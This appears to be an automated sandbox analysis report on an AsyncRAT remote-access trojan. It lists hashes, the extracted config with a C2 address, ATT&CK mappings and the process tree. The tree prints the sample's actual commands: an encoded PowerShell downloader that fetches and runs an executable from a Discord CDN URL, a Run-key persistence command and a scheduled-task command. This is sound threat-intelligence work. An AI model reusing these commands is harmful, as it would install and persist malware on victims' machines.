asyncrat | 697e12598f923f1b5dcf2d81dc8db9cd944977cfcb9687575307118181f7c43e

General

Target

871f23d521f271b63ea5d3041e097cc5.exe
Size

5KB
MD5

871f23d521f271b63ea5d3041e097cc5
SHA1

33c118c290f67790a188d523c8afc5c3159de978
SHA256

697e12598f923f1b5dcf2d81dc8db9cd944977cfcb9687575307118181f7c43e
SHA512

a39a6521e1e6db0c8facce2d773a15c6520bfe12f694273d30b187cb534a89c65e776341431ef15ab7fb7a63cbade578caeb2e718821aba82cc4c6cc4e0de271
SSDEEP

96:jf79xkCFvY5c/bUquGm5tlNtUqrGueGCd3oj8Erl:n9xPFg5AUquxXNtUqrlCdG

Score

10^/10

asyncrat system guard runtime persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4168-149-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 1804 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

234213133w.exe

pid process

3536 234213133w.exe

flow	pid	process
29	1804	powershell.exe

pid	process
3536	234213133w.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

871f23d521f271b63ea5d3041e097cc5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	871f23d521f271b63ea5d3041e097cc5.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

234213133w.exe

description pid process target process

PID 3536 set thread context of 4168 3536 234213133w.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4176 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1804 powershell.exe
1804 powershell.exe
1152 powershell.exe
1152 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1804 powershell.exe
Token: SeDebugPrivilege 1152 powershell.exe

description	pid	process	target process
PID 3536 set thread context of 4168	3536	234213133w.exe	RegAsm.exe

pid	process
4176	schtasks.exe

pid	process
1804	powershell.exe
1804	powershell.exe
1152	powershell.exe
1152	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

871f23d521f271b63ea5d3041e097cc5.exepowershell.exe234213133w.execmd.exe

description	pid	process	target process
PID 1952 wrote to memory of 1804	1952	871f23d521f271b63ea5d3041e097cc5.exe	powershell.exe
PID 1952 wrote to memory of 1804	1952	871f23d521f271b63ea5d3041e097cc5.exe	powershell.exe
PID 1804 wrote to memory of 3536	1804	powershell.exe	234213133w.exe
PID 1804 wrote to memory of 3536	1804	powershell.exe	234213133w.exe
PID 1804 wrote to memory of 3536	1804	powershell.exe	234213133w.exe
PID 3536 wrote to memory of 1152	3536	234213133w.exe	powershell.exe
PID 3536 wrote to memory of 1152	3536	234213133w.exe	powershell.exe
PID 3536 wrote to memory of 1152	3536	234213133w.exe	powershell.exe
PID 3536 wrote to memory of 3104	3536	234213133w.exe	cmd.exe
PID 3536 wrote to memory of 3104	3536	234213133w.exe	cmd.exe
PID 3536 wrote to memory of 3104	3536	234213133w.exe	cmd.exe
PID 3104 wrote to memory of 4176	3104	cmd.exe	schtasks.exe
PID 3104 wrote to memory of 4176	3104	cmd.exe	schtasks.exe
PID 3104 wrote to memory of 4176	3104	cmd.exe	schtasks.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe
PID 3536 wrote to memory of 4168	3536	234213133w.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe
"C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZABsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAwADkAMwAxADgAMgAyADUANAAyADAAMAAwADEANAA5AC8AMQAwADQAMAA5ADMAOAA3ADgANQAxADgANwAzADEAMQA2ADIANgAvAEMAUgAuAGUAeABlACcALAAgADwAIwB3AGMAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AYwByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAZwBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAKQA8ACMAawB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBtAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAbQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAPAAjAG4AaABqACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1804

C:\Users\Admin\AppData\Roaming\234213133w.exe
"C:\Users\Admin\AppData\Roaming\234213133w.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\Windows\SysWOW64\cmd.exe
"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:3104

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4176

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
4⤵
PID:4168

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
973113eca0079b6922bad2c72ef41b3a

SHA1
084628fe890d81a4bdc09315a420e5b53c263e55

SHA256
89ca20f6c841351d9dacb24284ab218b3be3c752607fb0acf259f34ef7ff4ed8

SHA512
bc3b48fb478eea3041020085d55116cfe2c385c876cd1e2dab1b426afa5651b235e6c86404882f905c4319e88d302577ae45805bbd1d7487445a222881ade8d9

Download Submit
C:\Users\Admin\AppData\Roaming\234213133w.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
C:\Users\Admin\AppData\Roaming\234213133w.exe
Filesize
87KB

MD5
3c6ccbfe897915f0fe6bc34d193bf4a0

SHA1
6fe3161ee66e317889066a302474e511220939e7

SHA256
52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

SHA512
e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

Download Submit
memory/1152-156-0x0000000006150000-0x0000000006182000-memory.dmp

Filesize
200KB

Download
memory/1152-157-0x0000000070B70000-0x0000000070BBC000-memory.dmp

Filesize
304KB

Download
memory/1152-165-0x00000000071C0000-0x00000000071C8000-memory.dmp

Filesize
32KB

Download
memory/1152-150-0x0000000004D40000-0x0000000005368000-memory.dmp

Filesize
6.2MB

Download
memory/1152-163-0x00000000070D0000-0x00000000070DE000-memory.dmp

Filesize
56KB

Download
memory/1152-162-0x0000000007110000-0x00000000071A6000-memory.dmp

Filesize
600KB

Download
memory/1152-151-0x0000000004B50000-0x0000000004B72000-memory.dmp

Filesize
136KB

Download
memory/1152-161-0x0000000006F00000-0x0000000006F0A000-memory.dmp

Filesize
40KB

Download
memory/1152-160-0x0000000006E90000-0x0000000006EAA000-memory.dmp

Filesize
104KB

Download
memory/1152-144-0x0000000000000000-mapping.dmp

Download
memory/1152-159-0x00000000074E0000-0x0000000007B5A000-memory.dmp

Filesize
6.5MB

Download
memory/1152-146-0x00000000021D0000-0x0000000002206000-memory.dmp

Filesize
216KB

Download
memory/1152-158-0x0000000006120000-0x000000000613E000-memory.dmp

Filesize
120KB

Download
memory/1152-155-0x0000000005B90000-0x0000000005BAE000-memory.dmp

Filesize
120KB

Download
memory/1152-166-0x0000000007220000-0x0000000007242000-memory.dmp

Filesize
136KB

Download
memory/1152-164-0x00000000071E0000-0x00000000071FA000-memory.dmp

Filesize
104KB

Download
memory/1152-153-0x0000000005490000-0x00000000054F6000-memory.dmp

Filesize
408KB

Download
memory/1152-152-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/1804-141-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp

Filesize
10.8MB

Download
memory/1804-133-0x0000000000000000-mapping.dmp

Download
memory/1804-137-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp

Filesize
10.8MB

Download
memory/1804-135-0x000001712DF80000-0x000001712DFA2000-memory.dmp

Filesize
136KB

Download
memory/1804-136-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp

Filesize
10.8MB

Download
memory/1952-134-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmp

Filesize
10.8MB

Download
memory/1952-132-0x0000000000640000-0x0000000000648000-memory.dmp

Filesize
32KB

Download
memory/3104-145-0x0000000000000000-mapping.dmp

Download
memory/3536-143-0x00000000050E0000-0x0000000005684000-memory.dmp

Filesize
5.6MB

Download
memory/3536-142-0x0000000000250000-0x000000000026C000-memory.dmp

Filesize
112KB

Download
memory/3536-138-0x0000000000000000-mapping.dmp

Download
memory/4168-148-0x0000000000000000-mapping.dmp

Download
memory/4168-149-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4176-147-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads